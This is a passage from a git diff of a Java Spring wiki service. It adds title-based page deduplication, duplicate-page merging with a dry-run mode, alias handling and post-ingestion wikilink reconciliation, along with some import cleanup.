out.append(r.text, last, m.start()); + String raw = m.group(1).trim(); + int pipe = raw.indexOf('|'); + String target = (pipe >= 0 ? raw.substring(0, pipe) : raw).trim(); + String alias = pipe >= 0 ? raw.substring(pipe + 1).trim() : null; + String replacement = target.isEmpty() ? null : reconciler.reconcile(target, alias); + out.append(replacement == null ? m.group() : replacement); + last = m.end(); + } + out.append(r.text, last, r.text.length()); + } + return out.toString(); + } + /** * Walk {@code content} replacing wikilinks via {@code rewriter}. Code * spans are detected and restored verbatim — replacement only happens in diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLintJobService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLintJobService.java index 7cf2b3a2..f52eebef 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLintJobService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLintJobService.java @@ -216,11 +216,14 @@ public class WikiLintJobService { * the whole scan. */ private ScanCounts scan(Long kbId) { - // listSummaries gives us the active (non-archived) page slug set — - // archived pages are NOT considered as valid targets, matching the - // resolver's behaviour. + // listSummaries gives us the active (non-archived) pages — archived + // pages are NOT considered as valid targets, matching the resolver's + // behaviour. The key set carries both slugs AND titles so a + // `[[Page Title]]` reference to an existing page resolves the same way + // the viewer renders it, instead of being reported as a false-positive + // broken link. List summaries = pageService.listSummaries(kbId); - Set activeSlugs = linkService.lowercaseSlugSet(summaries); + Set activeSlugs = linkService.resolvableTargetKeys(summaries); // Now fetch the same pages WITH content so we can re-extract outlinks. // We must not use listSummaries here because it omits the content diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiPageService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiPageService.java index 9645c0ba..a10b0652 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiPageService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiPageService.java @@ -16,9 +16,12 @@ import vip.mate.wiki.repository.WikiRelationMapper; import java.time.LocalDateTime; import java.util.ArrayList; +import java.util.Comparator; import java.util.HashSet; +import java.util.LinkedHashMap; import java.util.List; import java.util.Locale; +import java.util.Map; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import java.util.regex.Matcher; @@ -297,6 +300,51 @@ public class WikiPageService { return null; } + /** + * Normalize a title into its canonical identity form, mirroring how a + * wikilink resolver matches note names: lowercase, then drop every + * whitespace / hyphen / underscore (including the full-width space) so + * {@code "二味拔毒散"}, {@code "二味拔毒散 "} and {@code "二味-拔毒散"} all + * collapse to the same key. + *

    + * Title is the stable, human-meaningful identity of a concept. The slug, by + * contrast, is LLM-generated and drifts across runs and romanizations + * ({@code erwei-badu-san} / {@code er-wei-badu-san} / an English translation), + * which is why slug-only matching leaks duplicate rows for one concept. Title + * matching is the primary dedup key; {@link #canonicalSlug(String)} stays as a + * secondary cross-spelling fallback. + */ + public static String canonicalTitle(String title) { + if (title == null) return ""; + String lowered = title.trim().toLowerCase(); + StringBuilder sb = new StringBuilder(lowered.length()); + for (int i = 0; i < lowered.length(); i++) { + char c = lowered.charAt(i); + if (c == '-' || c == '_' || c == ' ' || Character.isWhitespace(c)) { + continue; + } + sb.append(c); + } + return sb.toString(); + } + + /** + * Find an existing page in the KB whose title canonically matches the given + * title. Reuses the {@link #listSummaries(Long)} cache (which carries title), + * then loads the full entity for the match. Returns the first canonical-title + * match, or {@code null} when none exists. + */ + public WikiPageEntity findByCanonicalTitle(Long kbId, String title) { + String canonical = canonicalTitle(title); + if (canonical.isEmpty()) return null; + for (WikiPageEntity p : listSummaries(kbId)) { + if (canonicalTitle(p.getTitle()).equals(canonical)) { + return getBySlug(kbId, p.getSlug()); + } + } + return null; + } + public WikiPageEntity getById(Long id) { return pageMapper.selectById(id); } @@ -368,6 +416,27 @@ public class WikiPageService { .set(WikiPageEntity::getProfileVersion, profileVersion)); } + /** + * Reclassify a page in place: set only its pageType (and, when supplied, + * its knowledge layer) via a partial update. Content / summary / links are + * never touched, so this is safe to run as a bulk backfill after a KB's + * pageType profile changes. {@code pageType} is stored lowercase; a null / + * blank pageType is ignored. A null layer is left untouched. + */ + public void updatePageType(Long pageId, String pageType, String knowledgeLayer) { + if (pageId == null || pageType == null || pageType.isBlank()) { + return; + } + com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper w = + new com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper() + .eq(WikiPageEntity::getId, pageId) + .set(WikiPageEntity::getPageType, pageType.toLowerCase()); + if (knowledgeLayer != null && !knowledgeLayer.isBlank()) { + w.set(WikiPageEntity::getKnowledgeLayer, knowledgeLayer); + } + pageMapper.update(null, w); + } + /** Set only a page's knowledge layer via a partial update (leaves depends_on untouched). */ public void setKnowledgeLayer(Long pageId, String knowledgeLayer) { if (pageId == null || knowledgeLayer == null) { @@ -698,25 +767,23 @@ public class WikiPageService { kbId, deletedPageId, likePattern); if (candidates.isEmpty()) return List.of(); - // Pre-compute the active slug set ONCE for the recompute pass — every - // referrer's broken_links recompute would otherwise re-trigger the - // summary query. + // Pre-compute the resolvable target keys (slugs + titles) ONCE for the + // recompute pass — every referrer's broken_links recompute would + // otherwise re-trigger the summary query. Set activeSlugs; try { - activeSlugs = linkService.lowercaseSlugSet(listSummaries(kbId)); + activeSlugs = linkService.resolvableTargetKeys(listSummaries(kbId)); } catch (RuntimeException e) { - activeSlugs = java.util.Collections.emptySet(); + activeSlugs = new HashSet<>(); } // The deleted page is, by construction, no longer "active" — remove - // its slug from the set so any referrers' broken_links recompute - // doesn't accidentally still resolve `[[deletedSlug]]` in their - // (now-rewritten) content. - if (!activeSlugs.contains(slugLower)) { - // already missing — common case - } else { - Set trimmed = new HashSet<>(activeSlugs); - trimmed.remove(slugLower); - activeSlugs = trimmed; + // its slug AND title from the set so any referrers' broken_links + // recompute doesn't accidentally still resolve `[[deletedSlug]]` or + // `[[Deleted Title]]` in their (now-rewritten) content if listSummaries + // returned a stale cache that still included the deleted page. + activeSlugs.remove(slugLower); + if (snapshotTitle != null && !snapshotTitle.isBlank()) { + activeSlugs.remove(snapshotTitle.trim().toLowerCase(Locale.ROOT)); } List affected = new ArrayList<>(candidates.size()); @@ -853,18 +920,17 @@ public class WikiPageService { Set activeSlugs; try { - activeSlugs = linkService.lowercaseSlugSet(listSummaries(kbId)); + activeSlugs = linkService.resolvableTargetKeys(listSummaries(kbId)); } catch (RuntimeException e) { - activeSlugs = java.util.Collections.emptySet(); + activeSlugs = new HashSet<>(); } // The renamed page is now under newSlug; oldSlug is gone, newSlug // should resolve. listSummaries has been evicted above so this picks // up the new row when re-queried, but be defensive in case the cache - // hasn't repopulated yet. - Set activeBase = new HashSet<>(activeSlugs); - activeBase.remove(slugLower); - activeBase.add(newSlug.toLowerCase(Locale.ROOT)); - activeSlugs = activeBase; + // hasn't repopulated yet. The title is unchanged by a rename, so it + // stays resolvable via the title key carried in the set. + activeSlugs.remove(slugLower); + activeSlugs.add(newSlug.toLowerCase(Locale.ROOT)); List affected = new ArrayList<>(candidates.size()); for (WikiPageEntity referrer : candidates) { @@ -896,6 +962,192 @@ public class WikiPageService { return affected; } + /** + * Winner selection within a duplicate-title group: keep the page that + * carries the most information. Prefer the longest content, then the + * highest version (most merged), then the smallest id (earliest-created, + * for a stable deterministic result). + */ + private static final Comparator MERGE_WINNER_ORDER = + Comparator.comparingInt((WikiPageEntity p) -> p.getContent() == null ? 0 : p.getContent().length()) + .thenComparingInt(p -> p.getVersion() == null ? 0 : p.getVersion()) + .thenComparing(WikiPageEntity::getId, Comparator.reverseOrder()); + + /** + * One-time maintenance: collapse pages that share a canonical title (see + * {@link #canonicalTitle(String)}) into a single page, healing the duplicate + * rows produced before title-based dedup existed (an LLM-minted slug drifts + * across runs, so one concept landed as many rows under different slugs). + *

    + * For each group of duplicates a winner is chosen ({@link #MERGE_WINNER_ORDER}); + * every loser's inbound {@code [[loserSlug]]} reference is redirected to the + * winner, the losers' source lineage is folded into the winner, their bodies + * are optionally appended (so no content is lost), and the loser rows are + * deleted. A protected page (system / locked) always wins and is never + * deleted; a group with more than one protected page is skipped for manual + * resolution. + * + * @param kbId knowledge base to clean + * @param dryRun when {@code true}, only report what would change — no writes + * @param concatenateContent when {@code true}, append each loser's body to the + * winner under a separator; when {@code false}, keep + * only the winner's body (loser bodies are discarded) + * @return a structured report (counts + per-group winner/loser slugs) + */ + @Transactional + public Map mergeDuplicateTitles(Long kbId, boolean dryRun, boolean concatenateContent) { + List all = listByKbIdWithContent(kbId); + + // Group by canonical title, preserving first-seen order for a stable report. + Map> groups = new LinkedHashMap<>(); + for (WikiPageEntity p : all) { + String ct = canonicalTitle(p.getTitle()); + if (ct.isEmpty()) continue; + groups.computeIfAbsent(ct, k -> new ArrayList<>()).add(p); + } + + List> groupReports = new ArrayList<>(); + int duplicateGroups = 0; + int pagesRemoved = 0; + + for (Map.Entry> entry : groups.entrySet()) { + List grp = entry.getValue(); + if (grp.size() < 2) continue; + + List protectedPages = grp.stream().filter(WikiPageService::isProtected).toList(); + if (protectedPages.size() > 1) { + Map skip = new LinkedHashMap<>(); + skip.put("canonicalTitle", entry.getKey()); + skip.put("title", grp.get(0).getTitle()); + skip.put("skipped", "multiple protected pages; resolve manually"); + skip.put("slugs", grp.stream().map(WikiPageEntity::getSlug).toList()); + groupReports.add(skip); + continue; + } + + WikiPageEntity winner = protectedPages.size() == 1 + ? protectedPages.get(0) + : grp.stream().max(MERGE_WINNER_ORDER).orElseThrow(); + List losers = grp.stream() + .filter(p -> !p.getId().equals(winner.getId())) + .filter(p -> !isProtected(p)) + .toList(); + if (losers.isEmpty()) continue; + + duplicateGroups++; + pagesRemoved += losers.size(); + + Map gr = new LinkedHashMap<>(); + gr.put("canonicalTitle", entry.getKey()); + gr.put("title", winner.getTitle()); + gr.put("winnerSlug", winner.getSlug()); + gr.put("winnerVersion", winner.getVersion()); + gr.put("loserSlugs", losers.stream().map(WikiPageEntity::getSlug).toList()); + groupReports.add(gr); + + if (!dryRun) { + mergeGroupInto(kbId, winner, losers, concatenateContent && !isProtected(winner)); + } + } + + if (!dryRun && duplicateGroups > 0) { + evictSummaryCache(kbId); + if (auditEventService != null) { + try { + String detail = objectMapper.writeValueAsString(Map.of( + "kbId", kbId, + "duplicateGroups", duplicateGroups, + "pagesRemoved", pagesRemoved, + "concatenateContent", concatenateContent)); + auditEventService.record("wiki.page.merge-duplicates", "wiki_kb", + String.valueOf(kbId), "merge duplicate titles", detail); + } catch (Exception e) { + log.debug("[Wiki] Audit emit failed for merge-duplicates kbId={}: {}", kbId, e.toString()); + } + } + } + + Map report = new LinkedHashMap<>(); + report.put("kbId", kbId); + report.put("dryRun", dryRun); + report.put("concatenateContent", concatenateContent); + report.put("totalPages", all.size()); + report.put("duplicateGroups", duplicateGroups); + report.put("pagesRemoved", dryRun ? 0 : pagesRemoved); + report.put("pagesWouldRemove", pagesRemoved); + report.put("groups", groupReports); + return report; + } + + /** + * Fold {@code losers} into {@code winner}: redirect inbound links, merge + * source lineage, optionally append bodies, then delete the loser rows. + */ + private void mergeGroupInto(Long kbId, WikiPageEntity winner, + List losers, boolean concatenate) { + String winnerSlug = winner.getSlug(); + + for (WikiPageEntity loser : losers) { + // Redirect every [[loserSlug]] reference (in any page, including the + // winner) to the winner before the loser row goes away, so no link + // is demoted to plain text. + try { + cascadeRenameReferrers(kbId, loser.getId(), loser.getSlug(), winnerSlug); + } catch (RuntimeException ex) { + log.warn("[Wiki] merge: redirect referrers {}→{} failed (continuing): {}", + loser.getSlug(), winnerSlug, ex.toString()); + } + // Fold the loser's source provenance into the winner. + for (SourceEntry se : parseSourceEntries(loser.getSourceEntries())) { + mergeSourceLineage(winner.getId(), se.rawId(), se.rawTitle()); + } + for (Long rid : parseSourceRawIds(loser.getSourceRawIds())) { + mergeSourceLineage(winner.getId(), rid, ""); + } + } + + if (concatenate) { + // Re-load to pick up the lineage updates just written. + WikiPageEntity fresh = pageMapper.selectById(winner.getId()); + if (fresh != null) { + StringBuilder merged = new StringBuilder(fresh.getContent() != null ? fresh.getContent() : ""); + for (WikiPageEntity loser : losers) { + String body = loser.getContent(); + if (body == null || body.isBlank()) continue; + // Repoint the loser's own self-links so the appended text + // targets the winner rather than the soon-deleted slug. + body = linkService.renameLink(body, loser.getSlug(), winnerSlug); + merged.append("\n\n---\n\n") + .append("> Merged from duplicate page `").append(loser.getSlug()).append("`"); + if (loser.getTitle() != null && !loser.getTitle().isBlank()) { + merged.append(" (").append(loser.getTitle()).append(")"); + } + merged.append("\n\n").append(body); + } + fresh.setContent(merged.toString()); + fresh.setVersion((fresh.getVersion() == null ? 1 : fresh.getVersion()) + 1); + fresh.setUpdateTime(LocalDateTime.now()); + applyLinkAnalysis(fresh); + pageMapper.updateById(fresh); + } + } + + for (WikiPageEntity loser : losers) { + if (relationMapper != null) { + try { + relationMapper.delete(new LambdaQueryWrapper() + .eq(WikiRelationEntity::getKbId, kbId) + .and(w -> w.eq(WikiRelationEntity::getPageAId, loser.getId()) + .or().eq(WikiRelationEntity::getPageBId, loser.getId()))); + } catch (RuntimeException ignore) { + // relation table is a reserved cache; cleanup is best-effort + } + } + pageMapper.deleteById(loser.getId()); + } + evictSummaryCache(kbId); + } + /** * RFC-051 PR-7: flip the {@code archived} flag. *

    @@ -1032,28 +1284,125 @@ public class WikiPageService { // update path) and every extracted target is recorded as broken — // which is harmless because tests don't assert on broken_links // values, and production code paths never hit this branch. - Set activeSlugs; + Set resolvableKeys; try { - activeSlugs = linkService.lowercaseSlugSet(listSummaries(entity.getKbId())); + resolvableKeys = linkService.resolvableTargetKeys(listSummaries(entity.getKbId())); } catch (RuntimeException e) { - log.warn("[Wiki] applyLinkAnalysis: failed to load slug set for kbId={}, treating as empty: {}", + log.warn("[Wiki] applyLinkAnalysis: failed to load target keys for kbId={}, treating as empty: {}", entity.getKbId(), e.toString()); - activeSlugs = java.util.Collections.emptySet(); + resolvableKeys = new HashSet<>(); } - // Include self-slug so [[my-own-slug]] doesn't appear as broken on the - // very save that creates the page (listSummaries may not see it yet - // depending on cache state). + // Include self slug + title so [[my-own-slug]] / [[My Own Title]] don't + // appear as broken on the very save that creates the page (listSummaries + // may not see it yet depending on cache state). if (entity.getSlug() != null && !entity.getSlug().isBlank()) { - Set withSelf = new HashSet<>(activeSlugs); - withSelf.add(entity.getSlug().toLowerCase(Locale.ROOT)); - activeSlugs = withSelf; + resolvableKeys.add(entity.getSlug().toLowerCase(Locale.ROOT)); } - WikiLinkService.LinkAnalysis a = linkService.analyze(entity.getContent(), activeSlugs); + if (entity.getTitle() != null && !entity.getTitle().isBlank()) { + resolvableKeys.add(entity.getTitle().trim().toLowerCase(Locale.ROOT)); + } + WikiLinkService.LinkAnalysis a = linkService.analyze(entity.getContent(), resolvableKeys); entity.setOutgoingLinks(linkService.toJsonArray(a.outgoingLinks())); entity.setBrokenLinks(linkService.toJsonArray(a.brokenLinks())); entity.setBrokenLinksScannedAt(LocalDateTime.now()); } + /** + * Merge {@code newAliases} into the page identified by {@code title} (the + * canonical concept identity used for dedup). Aliases are the alternate + * concept names a discrimination / composite page also covers; they let the + * post-ingestion reconciler redirect {@code [[concept]]} references that + * never became their own page. The page's own title is never stored as an + * alias of itself. No-op when the page or alias list is empty. + */ + public void mergeAliasesByTitle(Long kbId, String title, List newAliases) { + if (kbId == null || title == null || newAliases == null || newAliases.isEmpty()) return; + WikiPageEntity page = findByCanonicalTitle(kbId, title); + if (page == null) page = getBySlug(kbId, toSlug(title)); + if (page == null) return; + Set merged = new java.util.LinkedHashSet<>(linkService.fromJsonArray(page.getAliases())); + String ownTitle = page.getTitle() == null ? "" : page.getTitle().trim(); + boolean added = false; + for (String a : newAliases) { + String t = a == null ? "" : a.trim(); + if (t.isEmpty() || t.equalsIgnoreCase(ownTitle)) continue; + if (merged.add(t)) added = true; + } + if (!added) return; + pageMapper.update(null, new com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper() + .eq(WikiPageEntity::getId, page.getId()) + .set(WikiPageEntity::getAliases, linkService.toJsonArray(new ArrayList<>(merged)))); + evictSummaryCache(kbId); + } + + /** + * Post-ingestion link reconciliation for a KB. Each {@code [[target]]} the + * model wrote is handled by where its concept ended up: + *

      + *
    • resolves to a real page (slug or title) → left untouched;
    • + *
    • matches another page's declared alias → rewritten to + * {@code [[coverSlug|target]]} so it links to the covering page;
    • + *
    • otherwise → demoted to plain text (the concept name), removing the + * dangling link entirely.
    • + *
    + * Only pages whose content actually changes are re-persisted, so re-running + * after a settled KB is a cheap no-op. Touches content + outgoing_links + * only — the caller recomputes broken_links via the lint scan afterwards. + * + * @return the number of pages rewritten + */ + public int reconcileKbLinks(Long kbId) { + if (kbId == null) return 0; + List pages = pageMapper.selectList( + new LambdaQueryWrapper() + .select(WikiPageEntity::getId, WikiPageEntity::getSlug, WikiPageEntity::getTitle, + WikiPageEntity::getContent, WikiPageEntity::getAliases) + .eq(WikiPageEntity::getKbId, kbId) + .ne(WikiPageEntity::getArchived, 1)); + if (pages.isEmpty()) return 0; + Set resolvable = linkService.resolvableTargetKeys(pages); + // alias (lowercased) → covering page slug; first declarer wins, and a + // name owned by a real page is never treated as an alias. + Map aliasToSlug = new LinkedHashMap<>(); + for (WikiPageEntity p : pages) { + if (p.getSlug() == null || p.getSlug().isBlank()) continue; + for (String a : linkService.fromJsonArray(p.getAliases())) { + String key = a == null ? "" : a.trim().toLowerCase(Locale.ROOT); + if (key.isEmpty() || resolvable.contains(key)) continue; + aliasToSlug.putIfAbsent(key, p.getSlug()); + } + } + int changed = 0; + for (WikiPageEntity p : pages) { + String content = p.getContent(); + if (content == null || !content.contains("[[")) continue; + String selfSlug = p.getSlug() == null ? "" : p.getSlug().toLowerCase(Locale.ROOT); + String reconciled = linkService.reconcileLinks(content, (target, alias) -> { + String key = target.trim().toLowerCase(Locale.ROOT); + if (resolvable.contains(key)) return null; // real page — keep + String display = (alias != null && !alias.isBlank()) ? alias : target; + String coverSlug = aliasToSlug.get(key); + if (coverSlug != null && !coverSlug.toLowerCase(Locale.ROOT).equals(selfSlug)) { + return "[[" + coverSlug + "|" + display + "]]"; // redirect to covering page + } + return display; // demote dangling link to plain text + }); + if (!reconciled.equals(content)) { + List outlinks = new ArrayList<>(linkService.extractOutlinks(reconciled)); + pageMapper.update(null, new com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper() + .eq(WikiPageEntity::getId, p.getId()) + .set(WikiPageEntity::getContent, reconciled) + .set(WikiPageEntity::getOutgoingLinks, linkService.toJsonArray(outlinks))); + changed++; + } + } + if (changed > 0) { + evictSummaryCache(kbId); + log.info("[Wiki] Link reconciliation rewrote {} page(s) for kbId={}", changed, kbId); + } + return changed; + } + /** * 将标题转换为 slug(URL 安全标识符) */ diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiProcessingService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiProcessingService.java index ab1ef38f..dafc22a9 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiProcessingService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiProcessingService.java @@ -1,7 +1,9 @@ package vip.mate.wiki.service; +import com.fasterxml.jackson.core.type.TypeReference; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; @@ -10,24 +12,49 @@ import org.springframework.ai.chat.messages.UserMessage; import org.springframework.ai.chat.model.ChatModel; import org.springframework.ai.chat.model.ChatResponse; import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.converter.BeanOutputConverter; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.context.annotation.Lazy; +import org.springframework.dao.DuplicateKeyException; import org.springframework.retry.support.RetryTemplate; import org.springframework.stereotype.Service; import vip.mate.agent.AgentGraphBuilder; import vip.mate.agent.prompt.PromptLoader; +import vip.mate.llm.failover.ProviderHealthTracker; import vip.mate.llm.model.ModelConfigEntity; import vip.mate.llm.service.ModelConfigService; +import vip.mate.llm.service.ModelProviderService; import vip.mate.wiki.WikiProperties; +import vip.mate.wiki.dto.RouteResult; +import vip.mate.wiki.dto.RoutedPageMeta; import vip.mate.wiki.dto.WikiChunkDraft; +import vip.mate.wiki.event.WikiFactPageUpdatedEvent; +import vip.mate.wiki.event.WikiKbDirtyEvent; +import vip.mate.wiki.event.WikiPageCreatedEvent; import vip.mate.wiki.event.WikiProcessingEvent; +import vip.mate.wiki.job.WikiEmbeddingProviderFailingException; +import vip.mate.wiki.job.WikiJobStage; +import vip.mate.wiki.job.WikiJobStep; import vip.mate.wiki.job.WikiKbConfig; import vip.mate.wiki.job.WikiKbConfigParser; +import vip.mate.wiki.job.WikiModelRoutingService; +import vip.mate.wiki.job.WikiProcessingJobService; import vip.mate.wiki.model.WikiKnowledgeBaseEntity; import vip.mate.wiki.model.WikiPageEntity; import vip.mate.wiki.model.WikiRawMaterialEntity; +import vip.mate.wiki.profile.WikiMetadataValidator; +import vip.mate.wiki.profile.WikiPageTypeDef; +import vip.mate.wiki.profile.WikiPageTypeProfile; +import vip.mate.wiki.profile.WikiPageTypeProfileService; import vip.mate.wiki.sse.WikiProgressBus; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Set; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ExecutorService; @@ -60,23 +87,24 @@ public class WikiProcessingService { private final ObjectMapper objectMapper; private final WikiProgressBus progressBus; private final WikiCitationService citationService; - private final org.springframework.context.ApplicationEventPublisher eventPublisher; + private final ApplicationEventPublisher eventPublisher; + private final WikiEntityExtractionService entityExtractionService; /** * Optional KB pageType profile. Field-injected (not a constructor arg) so * existing instantiations are unaffected; when absent the batch-create * prompt falls back to the legacy hardcoded pageType enum. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - private vip.mate.wiki.profile.WikiPageTypeProfileService pageTypeProfileService; + @Autowired(required = false) + private WikiPageTypeProfileService pageTypeProfileService; /** Optional metadata validator, paired with {@link #pageTypeProfileService}. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - private vip.mate.wiki.profile.WikiMetadataValidator metadataValidator; + @Autowired(required = false) + private WikiMetadataValidator metadataValidator; /** Optional dependency/stale engine for layered-knowledge wiring. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - private vip.mate.wiki.service.WikiDependencyService dependencyService; + @Autowired(required = false) + private WikiDependencyService dependencyService; /** * Read-the-failover-chain handle. Optional so the existing constructors and @@ -84,8 +112,8 @@ public class WikiProcessingService { * fallback hop iterates {@code listEnabledModels} in DB order — same * behavior as before this PR. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - private vip.mate.llm.service.ModelProviderService modelProviderService; + @Autowired(required = false) + private ModelProviderService modelProviderService; /** * Per-provider failure counter / cooldown bookkeeping. Optional for the @@ -94,12 +122,12 @@ public class WikiProcessingService { * successful call we clear the failure counter for the provider that * actually responded. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - private vip.mate.llm.failover.ProviderHealthTracker providerHealthTracker; + @Autowired(required = false) + private ProviderHealthTracker providerHealthTracker; - @org.springframework.beans.factory.annotation.Autowired(required = false) - @org.springframework.context.annotation.Lazy - private vip.mate.wiki.job.WikiProcessingJobService wikiJobService; + @Autowired(required = false) + @Lazy + private WikiProcessingJobService wikiJobService; /** * RFC-051 PR-1c: optional preprocessor that fills chunk metadata @@ -107,7 +135,7 @@ public class WikiProcessingService { * Marked optional so unit tests that construct this service directly * (without Spring) can opt out without exploding. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) + @Autowired(required = false) private DocumentPreprocessService preprocessService; /** @@ -115,23 +143,32 @@ public class WikiProcessingService { * the KB before each ingest. Optional so the older lazy-only unit tests * don't need to wire it. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) + @Autowired(required = false) private WikiScaffoldService scaffoldService; + /** + * Recomputes broken links once a raw material finishes processing. Optional + * (field-injected) so unit tests that construct this service directly + * without Spring don't need to supply it — when absent, the post-ingestion + * auto-scan is simply skipped. + */ + @Autowired(required = false) + private WikiLintJobService lintJobService; + /** * RFC-051 PR-3: optional model routing service. When wired, route / * create_page / merge_page LLM calls inside the eager pipeline ask the * routing chain (stepModels[step] -> wikiDefaultModelId -> system * default) for a model rather than always pulling the system default. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - private vip.mate.wiki.job.WikiModelRoutingService modelRoutingService; + @Autowired(required = false) + private WikiModelRoutingService modelRoutingService; /** RFC-051 PR-2b/2c: optional overview rebuilder + log appender. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) + @Autowired(required = false) private WikiOverviewService overviewService; - @org.springframework.beans.factory.annotation.Autowired(required = false) + @Autowired(required = false) private WikiLogService logService; /** @@ -139,8 +176,8 @@ public class WikiProcessingService { * of the KB's apply-default transformation templates. Missing in the * legacy unit tests that wire this service directly. */ - @org.springframework.beans.factory.annotation.Autowired(required = false) - @org.springframework.context.annotation.Lazy + @Autowired(required = false) + @Lazy private WikiTransformationExecutor transformationExecutor; /** Parallel chunk / material processing executor (JDK 21 virtual threads) */ @@ -168,6 +205,17 @@ public class WikiProcessingService { * slug 注册为 winner,后到的 chunk 看到 winner 后会把内容写入 winner 对应的 page。 */ final ConcurrentHashMap slugClaims = new ConcurrentHashMap<>(); + /** + * Per-run title claim table: canonical title → the actual slug of the first + * page that claimed that concept this run. + *

    + * Title is the stable concept identity (the slug is LLM-generated and drifts), + * so this closes the parallel-create race that {@link #slugClaims} cannot: + * two phase-B pages with the same title but different slugs would both miss + * the DB lookup and insert two rows. The first to {@link ConcurrentHashMap#computeIfAbsent} + * wins; later creates redirect their content into the winner page. + */ + final ConcurrentHashMap titleClaims = new ConcurrentHashMap<>(); /** * Per-run merge dedup set: slugs that have already been successfully merged during * this raw material processing run. Prevents the same page from being merged N times @@ -181,6 +229,10 @@ public class WikiProcessingService { private final ConcurrentHashMap progressCounters = new ConcurrentHashMap<>(); + /** KBs with a reclassify pass currently running, used to reject concurrent + * re-triggers (which would double LLM spend and race page-type writes). */ + private final Set reclassifyInFlight = ConcurrentHashMap.newKeySet(); + /** * Process one raw material. */ @@ -248,7 +300,7 @@ public class WikiProcessingService { try { var job = wikiJobService.createHeavyIngest(kb.getId(), rawId); jobId = job.getId(); - wikiJobService.transition(jobId, vip.mate.wiki.job.WikiJobStage.ROUTING); + wikiJobService.transition(jobId, WikiJobStage.ROUTING); } catch (Exception e) { log.warn("[Wiki] Failed to create heavy ingest job record for raw={}: {}", rawId, e.getMessage()); } @@ -260,7 +312,7 @@ public class WikiProcessingService { // RFC-012 M3:广播 raw.started(前端切到 indeterminate 进度条) progressBus.broadcast(kb.getId(), WikiProgressBus.EVENT_RAW_STARTED, - java.util.Map.of("rawId", rawId, "phase", "route")); + Map.of("rawId", rawId, "phase", "route")); try { // Phase 1: 获取文本内容 @@ -299,7 +351,7 @@ public class WikiProcessingService { // Transition job to phase_a (chunk processing begins) if (wikiJobService != null && jobId != null) { - try { wikiJobService.transition(jobId, vip.mate.wiki.job.WikiJobStage.PHASE_A_RUNNING); } catch (Exception ignored) {} + try { wikiJobService.transition(jobId, WikiJobStage.PHASE_A_RUNNING); } catch (Exception ignored) {} } // Phase 3: LLM 消化 @@ -392,10 +444,10 @@ public class WikiProcessingService { // RFC-012 M3:广播终态 if ("failed".equals(finalStatus)) { progressBus.broadcast(kb.getId(), WikiProgressBus.EVENT_RAW_FAILED, - java.util.Map.of("rawId", rawId, "error", finalDetail == null ? "" : finalDetail)); + Map.of("rawId", rawId, "error", finalDetail == null ? "" : finalDetail)); } else { progressBus.broadcast(kb.getId(), WikiProgressBus.EVENT_RAW_COMPLETED, - java.util.Map.of( + Map.of( "rawId", rawId, "status", finalStatus, "totalPages", totalPages, @@ -406,10 +458,10 @@ public class WikiProcessingService { if (wikiJobService != null && jobId != null) { try { var terminalStage = switch (finalStatus) { - case "failed" -> vip.mate.wiki.job.WikiJobStage.FAILED; - case "partial" -> vip.mate.wiki.job.WikiJobStage.PARTIAL; - case "cancelled" -> vip.mate.wiki.job.WikiJobStage.CANCELLED; - default -> vip.mate.wiki.job.WikiJobStage.COMPLETED; + case "failed" -> WikiJobStage.FAILED; + case "partial" -> WikiJobStage.PARTIAL; + case "cancelled" -> WikiJobStage.CANCELLED; + default -> WikiJobStage.COMPLETED; }; wikiJobService.transition(jobId, terminalStage); } catch (Exception ignored) {} @@ -436,7 +488,7 @@ public class WikiProcessingService { // schedule (debounced) an LLM-generated overview narrative refresh. // Stats rebuild above is sync; narrative regen runs after-commit. if (nonTerminalSideEffects) { - eventPublisher.publishEvent(new vip.mate.wiki.event.WikiKbDirtyEvent(this, kb.getId())); + eventPublisher.publishEvent(new WikiKbDirtyEvent(this, kb.getId())); } // Run apply-default transformation templates against the newly @@ -471,7 +523,7 @@ public class WikiProcessingService { if (embedded > 0) { log.info("[Wiki] Async embedding completed: kbId={}, embedded={}", fKbId, embedded); } - } catch (vip.mate.wiki.job.WikiEmbeddingProviderFailingException ex) { + } catch (WikiEmbeddingProviderFailingException ex) { // Circuit-breaker tripped — the provider has consistently failed. // The exception's own log line in WikiEmbeddingService is enough; // emit a calmer notice here instead of a generic failure log. @@ -483,6 +535,26 @@ public class WikiProcessingService { }); } + // Entity-level knowledge graph extraction — opt-in per KB. Runs as a + // separate async pass so it never blocks (or fails) the ingest pipeline; + // its inputs (chunks, citations) are already committed at this point. + if 